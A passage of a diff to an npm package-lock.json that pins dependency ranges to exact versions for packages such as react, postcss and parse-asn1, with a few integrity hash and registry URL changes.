- "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -12862,7 +12857,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -12873,20 +12868,20 @@ "integrity": "sha1-35T9jPZTHs915r75oIWPvHK+Ikc=", "dev": true, "requires": { - "no-case": "^2.2.0" + "no-case": "2.3.2" } }, "parse-asn1": { "version": "5.1.1", - "resolved": "http://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.1.tgz", + "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.1.tgz", "integrity": "sha512-KPx7flKXg775zZpnp9SxJlz00gTd4BmJ2yJufSc44gMCRrRQ7NSzAcSJQfifuOLgW6bEi+ftrALtsgALeB2Adw==", "dev": true, "requires": { - "asn1.js": "^4.0.0", - "browserify-aes": "^1.0.0", - "create-hash": "^1.1.0", - "evp_bytestokey": "^1.0.0", - "pbkdf2": "^3.0.3" + "asn1.js": "4.10.1", + "browserify-aes": "1.2.0", + "create-hash": "1.2.0", + "evp_bytestokey": "1.0.3", + "pbkdf2": "3.0.17" } }, "parse-glob": { @@ -12896,10 +12891,10 @@ "dev": true, "optional": true, "requires": { - "glob-base": "^0.3.0", - "is-dotfile": "^1.0.0", - "is-extglob": "^1.0.0", - "is-glob": "^2.0.0" + "glob-base": "0.3.0", + "is-dotfile": "1.0.3", + "is-extglob": "1.0.0", + "is-glob": "2.0.1" } }, "parse-json": { @@ -12908,7 +12903,7 @@ "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", "dev": true, "requires": { - "error-ex": "^1.2.0" + "error-ex": "1.3.2" } }, "parseqs": { @@ -12917,7 +12912,7 @@ "integrity": "sha1-1SCKNzjkZ2bikbouoXNoSSGouJ0=", "dev": true, "requires": { - "better-assert": "~1.0.0" + "better-assert": "1.0.2" } }, "parseuri": { @@ -12926,7 +12921,7 @@ "integrity": "sha1-gCBKUNTbt3m/3G6+J3jZDkvOMgo=", "dev": true, "requires": { - "better-assert": "~1.0.0" + "better-assert": "1.0.2" } }, "parseurl": { @@ -12959,7 +12954,7 @@ "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=", "dev": true, "requires": { - "pinkie-promise": "^2.0.0" + "pinkie-promise": "2.0.1" } }, "path-is-absolute": { @@ -12992,9 +12987,9 @@ "integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=", "dev": true, "requires": { - "graceful-fs": "^4.1.2", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" + "graceful-fs": "4.1.11", + "pify": "2.3.0", + "pinkie-promise": "2.0.1" } }, "pathval": { @@ -13009,11 +13004,11 @@ "integrity": "sha512-U/il5MsrZp7mGg3mSQfn742na2T+1/vHDCG5/iTI3X9MKUuYUZVLQhyRsg06mCgDBTd57TxzgZt7P+fYfjRLtA==", "dev": true, "requires": { - "create-hash": "^1.1.2", - "create-hmac": "^1.1.4", - "ripemd160": "^2.0.1", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" + "create-hash": "1.2.0", + "create-hmac": "1.1.7", + "ripemd160": "2.0.2", + "safe-buffer": "5.1.1", + "sha.js": "2.4.11" } }, "pend": { @@ -13034,15 +13029,15 @@ "integrity": "sha1-79ISpKOWbTZHaE6ouniFSb4q7+8=", "dev": true, "requires": { - "es6-promise": "^4.0.3", - "extract-zip": "^1.6.5", - "fs-extra": "^1.0.0", - "hasha": "^2.2.0", - "kew": "^0.7.0", - "progress": "^1.1.8", - "request": "^2.81.0", - "request-progress": "^2.0.1", - "which": "^1.2.10" + "es6-promise": "4.2.4", + "extract-zip": "1.6.6", + "fs-extra": "1.0.0", + "hasha": "2.2.0", + "kew": "0.7.0", + "progress": "1.1.8", + "request": "2.85.0", + "request-progress": "2.0.1", + "which": "1.3.0" } }, "pify": { @@ -13063,7 +13058,7 @@ "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", "dev": true, "requires": { - "pinkie": "^2.0.0" + "pinkie": "2.0.4" } }, "pkg-dir": { @@ -13072,7 +13067,7 @@ "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=", "dev": true, "requires": { - "find-up": "^2.1.0" + "find-up": "2.1.0" }, "dependencies": { "find-up": { @@ -13081,7 +13076,7 @@ "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", "dev": true, "requires": { - "locate-path": "^2.0.0" + "locate-path": "2.0.0" } } } @@ -13098,9 +13093,9 @@ "integrity": "sha512-syFcRIRzVI1BoEFOCaAiizwDolh1S1YXSodsVhncbhjzjZQulhczNRbqnUl9N31Q4dKGOXsNDqxC2BWBgSMqeQ==", "dev": true, "requires": { - "async": "^1.5.2", - "debug": "^2.2.0", - "mkdirp": "0.5.x" + "async": "1.5.2", + "debug": "2.6.8", + "mkdirp": "0.5.1" } }, "posix-character-classes": { @@ -13115,9 +13110,9 @@ "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", "dev": true, "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" + "chalk": "2.4.1", + "source-map": "0.6.1", + "supports-color": "5.4.0" }, "dependencies": { "ansi-styles": { @@ -13126,7 +13121,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -13135,9 +13130,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.4.0" } }, "has-flag": { @@ -13158,7 +13153,7 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } @@ -13169,7 +13164,7 @@ "integrity": "sha1-ZhQOzs447wa/DT41XWm/WdFB6oU=", "dev": true, "requires": { - "postcss": "^6.0.1" + "postcss": "6.0.23" } }, "postcss-modules-local-by-default": { @@ -13178,8 +13173,8 @@ "integrity": "sha1-99gMOYxaOT+nlkRmvRlQCn1hwGk=", "dev": true, "requires": { - "css-selector-tokenizer": "^0.7.0", - "postcss": "^6.0.1" + "css-selector-tokenizer": "0.7.0", + "postcss": "6.0.23" } }, "postcss-modules-scope": { @@ -13188,8 +13183,8 @@ "integrity": "sha1-1upkmUx5+XtipytCb75gVqGUu5A=", "dev": true, "requires": { - "css-selector-tokenizer": "^0.7.0", - "postcss": "^6.0.1" + "css-selector-tokenizer": "0.7.0", + "postcss": "6.0.23" } }, "postcss-modules-values": { @@ -13198,8 +13193,8 @@ "integrity": "sha1-7P+p1+GSUYOJ9CrQ6D9yrsRW6iA=", "dev": true, "requires": { - "icss-replace-symbols": "^1.1.0", - "postcss": "^6.0.1" + "icss-replace-symbols": "1.1.0", + "postcss": "6.0.23" } }, "postcss-value-parser": { @@ -13227,8 +13222,8 @@ "integrity": "sha1-X0+HyPkeWuPzuoerTPXgOxoX8aM=", "dev": true, "requires": { - "renderkid": "^2.0.1", - "utila": "~0.4" + "renderkid": "2.0.1", + "utila": "0.4.0" } }, "private": { @@ -13266,8 +13261,8 @@ "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.6.2.tgz", "integrity": "sha512-3pboPvLiWD7dkI3qf3KbUe6hKFKa52w+AE0VCqECtf+QHAKgOL37tTaNCnuX1nAAQ4ZhyP+kYVKf8rLmJ/feDQ==", "requires": { - "loose-envify": "^1.3.1", - "object-assign": "^4.1.1" + "loose-envify": "1.3.1", + "object-assign": "4.1.1" } }, "prop-types-extra": { @@ -13275,8 +13270,8 @@ "resolved": "https://registry.npmjs.org/prop-types-extra/-/prop-types-extra-1.1.0.tgz", "integrity": "sha512-QFyuDxvMipmIVKD2TwxLVPzMnO4e5oOf1vr3tJIomL8E7d0lr6phTHd5nkPhFIzTD1idBLLEPeylL9g+rrTzRg==", "requires": { - "react-is": "^16.3.2", - "warning": "^3.0.0" + "react-is": "16.6.3", + "warning": "3.0.0" } }, "propagating-hammerjs": { @@ -13284,7 +13279,7 @@ "resolved": "https://registry.npmjs.org/propagating-hammerjs/-/propagating-hammerjs-1.4.6.tgz", "integrity": "sha1-/tAOmwB2f/1C0U9bUxvEk+tnLjc=", "requires": { - "hammerjs": "^2.0.6" + "hammerjs": "2.0.8" } }, "proxy-addr": { @@ -13293,7 +13288,7 @@ "integrity": "sha512-5erio2h9jp5CHGwcybmxmVqHmnCBZeewlfJ0pex+UW7Qny7OOZXTtH56TGNyBizkgiOwhJtMKrVzDTeKcySZwA==", "dev": true, "requires": { - "forwarded": "~0.1.2", + "forwarded": "0.1.2", "ipaddr.js": "1.8.0" } }, @@ -13312,7 +13307,7 @@ "psl": { "version": "1.1.20", "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.20.tgz", - "integrity": "sha512-JWUi+8DYZnEn9vfV0ppHFLBP0Lk7wxzpobILpBEMDV4nFket4YK+6Rn1Zn6DHmD9PqqsV96AM6l4R/2oirzkgw==" + "integrity": "sha1-NjOC8zI4iICxVeJQY0WVcIQojp0=" }, "public-encrypt": { "version": "4.0.3", @@ -13320,12 +13315,12 @@ "integrity": "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==", "dev": true, "requires": { - "bn.js": "^4.1.0", - "browserify-rsa": "^4.0.0", - "create-hash": "^1.1.0", - "parse-asn1": "^5.0.0", - "randombytes": "^2.0.1", - "safe-buffer": "^5.1.2" + "bn.js": "4.11.8", + "browserify-rsa": "4.0.1", + "create-hash": "1.2.0", + "parse-asn1": "5.1.1", + "randombytes": "2.0.6", + "safe-buffer": "5.1.2" }, "dependencies": { "safe-buffer": { @@ -13342,8 +13337,8 @@ "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", "dev": true, "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" + "end-of-stream": "1.4.1", + "once": "1.4.0" } }, "pumpify": { @@ -13352,9 +13347,9 @@ "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", "dev": true, "requires": { - "duplexify": "^3.6.0", - "inherits": "^2.0.3", - "pump": "^2.0.0" + "duplexify": "3.6.0", + "inherits": "2.0.3", + "pump": "2.0.1" } }, "punycode": { @@ -13407,12 +13402,12 @@ "randomatic": { "version": "1.1.7", "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-1.1.7.tgz", - "integrity": "sha512-D5JUjPyJbaJDkuAazpVnSfVkLlpeO3wDlPROTMLGKG1zMFNFRgrciKo1ltz/AzNTkqE0HzDx655QOL51N06how==", + "integrity": "sha1-x6vpzIuHwLqodrGf3oP9RkeX44w=", "dev": true, "optional": true, "requires": { - "is-number": "^3.0.0", - "kind-of": "^4.0.0" + "is-number": "3.0.0", + "kind-of": "4.0.0" }, "dependencies": { "is-number": { @@ -13422,7 +13417,7 @@ "dev": true, "optional": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -13432,7 +13427,7 @@ "dev": true, "optional": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -13444,7 +13439,7 @@ "dev": true, "optional": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -13455,7 +13450,7 @@ "integrity": "sha512-CIQ5OFxf4Jou6uOKe9t1AOgqpeU5fd70A8NPdHSGeYXqXsPe6peOwI0cUl88RWZ6sP1vPMV3avd/R6cZ5/sP1A==", "dev": true, "requires": { - "safe-buffer": "^5.1.0" + "safe-buffer": "5.1.1" } }, "randomfill": { @@ -13464,8 +13459,8 @@ "integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==", "dev": true, "requires": { - "randombytes": "^2.0.5", - "safe-buffer": "^5.1.0" + "randombytes": "2.0.6", + "safe-buffer": "5.1.1" } }, "range-parser": { @@ -13492,7 +13487,7 @@ "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", "dev": true, "requires": { - "safer-buffer": ">= 2.1.2 < 3" + "safer-buffer": "2.1.2" } } } @@ -13502,8 +13497,8 @@ "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.2.6.tgz", "integrity": "sha512-73Ul9WrWf474q0ze+XblpcR8q2No0tybHt+zdGXYyQ7fUZy4b+I5dUQcoxr9UXY6W5Ele9ZsPWJWHSDz/IAOUw==", "requires": { - "babel-runtime": "6.x", - "prop-types": "^15.5.8" + "babel-runtime": "6.25.0", + "prop-types": "15.6.2" } }, "react": { @@ -13511,10 +13506,10 @@ "resolved": "https://registry.npmjs.org/react/-/react-16.6.3.tgz", "integrity": "sha512-zCvmH2vbEolgKxtqXL2wmGCUxUyNheYn/C+PD1YAjfxHC54+MhdruyhO7QieQrYsYeTxrn93PM2y0jRH1zEExw==", "requires": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1", - "prop-types": "^15.6.2", - "scheduler": "^0.11.2" + "loose-envify": "1.3.1", + "object-assign": "4.1.1", + "prop-types": "15.6.2", + "scheduler": "0.11.2" } }, "react-addons-test-utils": { @@ -13528,10 +13523,10 @@ "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.5.3.tgz", "integrity": "sha1-OFjyTpxN2MvT9wLz901YHKKRcmk=", "requires": { - "base16": "^1.0.0", - "lodash.curry": "^4.0.1", - "lodash.flow": "^3.3.0", - "pure-color": "^1.2.0" + "base16": "1.0.0", + "lodash.curry": "4.1.1", + "lodash.flow": "3.5.0", + "pure-color": "1.3.0" } }, "react-bootstrap": { @@ -13539,18 +13534,18 @@ "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.32.4.tgz", "integrity": "sha512-xj+JfaPOvnvr3ow0aHC7Y3HaBKZNR1mm361hVxVzVX3fcdJNIrfiodbQ0m9nLBpNxiKG6FTU2lq/SbTDYT2vew==", "requires": { - "@babel/runtime-corejs2": "^7.0.0", - "classnames": "^2.2.5", - "dom-helpers": "^3.2.0", - "invariant": "^2.2.4", - "keycode": "^2.2.0", - "prop-types": "^15.6.1", - "prop-types-extra": "^1.0.1", - "react-overlays": "^0.8.0", - "react-prop-types": "^0.4.0", - "react-transition-group": "^2.0.0", - "uncontrollable": "^5.0.0", - "warning": "^3.0.0" + "@babel/runtime-corejs2": "7.1.5", + "classnames": "2.2.5", + "dom-helpers": "3.4.0", + "invariant": "2.2.4", + "keycode": "2.2.0", + "prop-types": "15.6.2", + "prop-types-extra": "1.1.0", + "react-overlays": "0.8.3", + "react-prop-types": "0.4.0", + "react-transition-group": "2.5.0", + "uncontrollable": "5.1.0", + "warning": "3.0.0" }, "dependencies": { "invariant": { @@ -13558,7 +13553,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } } } @@ -13568,8 +13563,8 @@ "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.1.tgz", "integrity": "sha512-ELKq31/E3zjFs5rDWNCfFL4NvNFQvGRoJdAKReD/rUPA+xxiLPQmZBZBvy2vgH7V0GE9isIQpT9WXbwIVErYdA==", "requires": { - "copy-to-clipboard": "^3", - "prop-types": "^15.5.8" + "copy-to-clipboard": "3.0.8", + "prop-types": "15.6.2" } }, "react-data-components": { @@ -13577,8 +13572,8 @@ "resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.2.0.tgz", "integrity": "sha512-nJPAYBDDduBeyTp9r+cDY5P3ZSLQLyvBZHXDPEKWrUwu5GxkcrWxWzB8LfQsWIRxi2HzF4H1njcj1IHlV2jmRA==", "requires": { - "lodash": "^4.13.1", - "prop-types": "^15.5.10" + "lodash": "4.17.10", + "prop-types": "15.6.2" } }, "react-dimensions": { @@ -13586,7 +13581,7 @@ "resolved": "https://registry.npmjs.org/react-dimensions/-/react-dimensions-1.3.1.tgz", "integrity": "sha512-go5vMuGUxaB5PiTSIk+ZfAxLbHwcIgIfLhkBZ2SIMQjaCgnpttxa30z5ijEzfDjeOCTGRpxvkzcmE4Vt4Ppvyw==", "requires": { - "element-resize-event": "^2.0.4" + "element-resize-event": "2.0.9" } }, "react-dom": { @@ -13594,10 +13589,10 @@ "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.6.3.tgz", "integrity": "sha512-8ugJWRCWLGXy+7PmNh8WJz3g1TaTUt1XyoIcFN+x0Zbkoz+KKdUyx1AQLYJdbFXjuF41Nmjn5+j//rxvhFjgSQ==", "requires": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1", - "prop-types": "^15.6.2", - "scheduler": "^0.11.2" + "loose-envify": "1.3.1", + "object-assign": "4.1.1", + "prop-types": "15.6.2", + "scheduler": "0.11.2" } }, "react-fa": { @@ -13605,8 +13600,8 @@ "resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz", "integrity": "sha512-pBEJigNkDJPAP/P9mQXT55VbJbbtwqi4ayieXuFvGpd+gl3aZ9IbjjVKJihdhdysJP0XRgrSa3sT3yOmkQi8wQ==", "requires": { - "font-awesome": "^4.3.0", - "prop-types": "^15.5.8" + "font-awesome": "4.7.0", + "prop-types": "15.6.2" } }, "react-graph-vis": { @@ -13614,10 +13609,10 @@ "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz", "integrity": "sha512-qVFWtvLVJgnYGtpOPHtg1RIW4xNm9Hd4GXgJy1IYrlYZYkOQW0snSOMr24c6R8Vcad1oU70iqgKR381GDDwrBA==", "requires": { - "lodash": "^4.17.4", - "prop-types": "^15.5.10", - "uuid": "^2.0.1", - "vis": "^4.18.1" + "lodash": "4.17.10", + "prop-types": "15.6.2", + "uuid": "2.0.3", + "vis": "4.21.0" }, "dependencies": { "uuid": { @@ -13633,12 +13628,12 @@ "integrity": "sha512-T0G5jURyTsFLoiW6MTr5Q35UHC/B2pmYJ7+VBjk8yMDCEABRmCGy4g6QwxoB4pWg4/xYvVTa/Pbqnsgx/+NLuA==", "dev": true, "requires": { - "fast-levenshtein": "^2.0.6", - "global": "^4.3.0", - "hoist-non-react-statics": "^2.5.0", - "prop-types": "^15.6.1", - "react-lifecycles-compat": "^3.0.4", - "shallowequal": "^1.0.2" + "fast-levenshtein": "2.0.6", + "global": "4.3.2", + "hoist-non-react-statics": "2.5.5", + "prop-types": "15.6.2", + "react-lifecycles-compat": "3.0.4", + "shallowequal": "1.1.0" } }, "react-is": { @@ -13651,9 +13646,9 @@ "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.0.tgz", "integrity": "sha1-9bF+gzKanHauOL5cBP2jp/1oSjU=", "requires": { - "babel-runtime": "^6.6.1", - "prop-types": "^15.5.8", - "react-base16-styling": "^0.5.1" + "babel-runtime": "6.25.0", + "prop-types": "15.6.2", + "react-base16-styling": "0.5.3" } }, "react-jsonschema-form": { @@ -13661,11 +13656,11 @@ "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.0.6.tgz", "integrity": "sha512-F6441MjApWHiFU/98T+fM19kBP9Ib0b3GMOB5DNyXnfMYC35CLwaANeZsTHug0HAmXGxgG+caPZSxgJSAyPz1Q==", "requires": { - "ajv": "^5.2.3", - "babel-runtime": "^6.26.0", - "core-js": "^2.5.7", - "lodash.topath": "^4.5.2", - "prop-types": "^15.5.8" + "ajv": "5.5.2", + "babel-runtime": "6.26.0", + "core-js": "2.5.7", + "lodash.topath": "4.5.2", + "prop-types": "15.6.2" }, "dependencies": { "ajv": { @@ -13705,12 +13700,12 @@ "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.8.3.tgz", "integrity": "sha512-h6GT3jgy90PgctleP39Yu3eK1v9vaJAW73GOA/UbN9dJ7aAN4BTZD6793eI1D5U+ukMk17qiqN/wl3diK1Z5LA==", "requires": { - "classnames": "^2.2.5", - "dom-helpers": "^3.2.1", - "prop-types": "^15.5.10", - "prop-types-extra": "^1.0.1", - "react-transition-group": "^2.2.0", - "warning": "^3.0.0" + "classnames": "2.2.5", + "dom-helpers": "3.4.0", + "prop-types": "15.6.2", + "prop-types-extra": "1.1.0", + "react-transition-group": "2.5.0", + "warning": "3.0.0" } }, "react-prop-types": { @@ -13718,7 +13713,7 @@ "resolved": "https://registry.npmjs.org/react-prop-types/-/react-prop-types-0.4.0.tgz", "integrity": "sha1-+ZsL+0AGkpya8gUefBQUpcdbk9A=", "requires": { - "warning": "^3.0.0" + "warning": "3.0.0" } }, "react-redux": { @@ -13726,13 +13721,13 @@ "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.1.1.tgz", "integrity": "sha512-LE7Ned+cv5qe7tMV5BPYkGQ5Lpg8gzgItK07c67yHvJ8t0iaD9kPFPAli/mYkiyJYrs2pJgExR2ZgsGqlrOApg==", "requires": { - "@babel/runtime": "^7.1.2", - "hoist-non-react-statics": "^3.1.0", - "invariant": "^2.2.4", - "loose-envify": "^1.1.0", - "prop-types": "^15.6.1", - "react-is": "^16.6.0", - "react-lifecycles-compat": "^3.0.0" + "@babel/runtime": "7.1.5", + "hoist-non-react-statics": "3.1.0", + "invariant": "2.2.4", + "loose-envify": "1.3.1", + "prop-types": "15.6.2", + "react-is": "16.6.3", + "react-lifecycles-compat": "3.0.4" }, "dependencies": { "hoist-non-react-statics": { @@ -13740,7 +13735,7 @@ "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.1.0.tgz", "integrity": "sha512-MYcYuROh7SBM69xHGqXEwQqDux34s9tz+sCnxJmN18kgWh6JFdTw/5YdZtqsOdZJXddE/wUpCzfEdDrJj8p0Iw==", "requires": { - "react-is": "^16.3.2" + "react-is": "16.6.3" } }, "invariant": { @@ -13748,7 +13743,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } } } @@ -13758,13 +13753,13 @@ "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.3.1.tgz", "integrity": "sha512-yrvL8AogDh2X42Dt9iknk4wF4V8bWREPirFfS9gLU1huk6qK41sg7Z/1S81jjTrGHxa3B8R3J6xIkDAA6CVarg==", "requires": { - "history": "^4.7.2", - "hoist-non-react-statics": "^2.5.0", - "invariant": "^2.2.4", - "loose-envify": "^1.3.1", - "path-to-regexp": "^1.7.0", - "prop-types": "^15.6.1", - "warning": "^4.0.1" + "history": "4.7.2", + "hoist-non-react-statics": "2.5.5", + "invariant": "2.2.4", + "loose-envify": "1.3.1", + "path-to-regexp": "1.7.0", + "prop-types": "15.6.2", + "warning": "4.0.2" }, "dependencies": { "invariant": { @@ -13772,7 +13767,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } }, "path-to-regexp": { @@ -13788,7 +13783,7 @@ "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.2.tgz", "integrity": "sha512-wbTp09q/9C+jJn4KKJfJfoS6VleK/Dti0yqWSm6KMvJ4MRCXFQNapHuJXutJIrWV0Cf4AhTdeIe4qdKHR1+Hug==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } } } @@ -13798,12 +13793,12 @@ "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.3.1.tgz", "integrity": "sha512-c/MlywfxDdCp7EnB7YfPMOfMD3tOtIjrQlj/CKfNMBxdmpJP8xcz5P/UAFn3JbnQCNUxsHyVVqllF9LhgVyFCA==", "requires": { - "history": "^4.7.2", - "invariant": "^2.2.4", - "loose-envify": "^1.3.1", - "prop-types": "^15.6.1", - "react-router": "^4.3.1", - "warning": "^4.0.1" + "history": "4.7.2", + "invariant": "2.2.4", + "loose-envify": "1.3.1", + "prop-types": "15.6.2", + "react-router": "4.3.1", + "warning": "4.0.2" }, "dependencies": { "invariant": { @@ -13811,7 +13806,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } }, "warning": { @@ -13819,7 +13814,7 @@ "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.2.tgz", "integrity": "sha512-wbTp09q/9C+jJn4KKJfJfoS6VleK/Dti0yqWSm6KMvJ4MRCXFQNapHuJXutJIrWV0Cf4AhTdeIe4qdKHR1+Hug==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } } } @@ -13829,7 +13824,7 @@ "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.6.tgz", "integrity": "sha1-oK2LSDkxkFLVvvwBJgP7Fh5S7eM=", "requires": { - "classnames": "^2.2.5" + "classnames": "2.2.5" } }, "react-toggle": { @@ -13837,7 +13832,7 @@ "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.0.2.tgz", "integrity": "sha512-EPTWnN7gQHgEAUEmjheanZXNzY5TPnQeyyHfEs3YshaiWZf5WNjfYDrglO5F1Hl/dNveX18i4l0grTEsYH2Ccw==", "requires": { - "classnames": "^2.2.5" + "classnames": "2.2.5" } }, "react-transition-group": { @@ -13845,10 +13840,10 @@ "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.5.0.tgz", "integrity": "sha512-qYB3JBF+9Y4sE4/Mg/9O6WFpdoYjeeYqx0AFb64PTazVy8RPMiE3A47CG9QmM4WJ/mzDiZYslV+Uly6O1Erlgw==", "requires": { - "dom-helpers": "^3.3.1", - "loose-envify": "^1.4.0", - "prop-types": "^15.6.2", - "react-lifecycles-compat": "^3.0.4" + "dom-helpers": "3.4.0", + "loose-envify": "1.4.0", + "prop-types": "15.6.2", + "react-lifecycles-compat": "3.0.4" }, "dependencies": { "loose-envify": { @@ -13856,7 +13851,7 @@ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", "requires": { - "js-tokens": "^3.0.0 || ^4.0.0" + "js-tokens": "3.0.2" } } } @@ -13867,9 +13862,9 @@ "integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=", "dev": true, "requires": { - "load-json-file": "^1.0.0", - "normalize-package-data": "^2.3.2", - "path-type": "^1.0.0" + "load-json-file": "1.1.0", + "normalize-package-data": "2.4.0", + "path-type": "1.1.0" } }, "read-pkg-up": { @@ -13878,8 +13873,8 @@ "integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=", "dev": true, "requires": { - "find-up": "^1.0.0", - "read-pkg": "^1.0.0" + "find-up": "1.1.2", + "read-pkg": "1.1.0" } }, "readable-stream": { @@ -13888,10 +13883,10 @@ "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", + "core-util-is": "1.0.2", + "inherits": "2.0.3", "isarray": "0.0.1", - "string_decoder": "~0.10.x" + "string_decoder": "0.10.31" } }, "readdirp": { @@ 